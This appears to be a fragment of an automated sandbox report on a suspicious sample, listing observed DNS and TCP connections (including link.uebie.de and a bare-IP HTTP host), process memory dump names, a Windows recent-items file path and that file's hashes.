| US | 8.8.8.8:53 | link.uebie.de | udp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.134.89:80 | e6.o.lencr.org | tcp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | 48.108.45.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.245.100.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.243.3.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.79.70.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
Files
memory/1244-1-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp
memory/1244-0-0x00007FFEA2CCD000-0x00007FFEA2CCE000-memory.dmp
memory/1244-3-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp
memory/1244-2-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp
memory/1244-4-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp
memory/1244-6-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-5-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-10-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-9-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-8-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-11-0x00007FFE607C0000-0x00007FFE607D0000-memory.dmp
memory/1244-7-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp
memory/1244-12-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-13-0x00007FFE607C0000-0x00007FFE607D0000-memory.dmp
memory/1244-15-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-14-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-16-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-17-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-21-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-20-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-19-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-18-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/3980-36-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/3980-40-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/3980-45-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/3980-46-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/3980-47-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-49-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/1244-50-0x00007FFEA2CCD000-0x00007FFEA2CCE000-memory.dmp
memory/1244-51-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/3980-55-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp
memory/3980-56-0x00007FF606250000-0x00007FF606258000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 650cd9f4e44a3ba887d569025f27bc10 |
| SHA1 | 1e37a584f593273756c9d347c486cae9333f2cbd |
| SHA256 | f838cea60c4cf7d07abed1668bac485b5978338224ba7fad4c41d0df9a6fafc7 |
| SHA512 | 308e8ca32bde29e20fc327ea8f0e4069039ce4881ab8ad5e04592952ab0d98388b960f216769192f0421fc1ec49f925411ffccc6e57302cfcf5dc592cb8b4226 |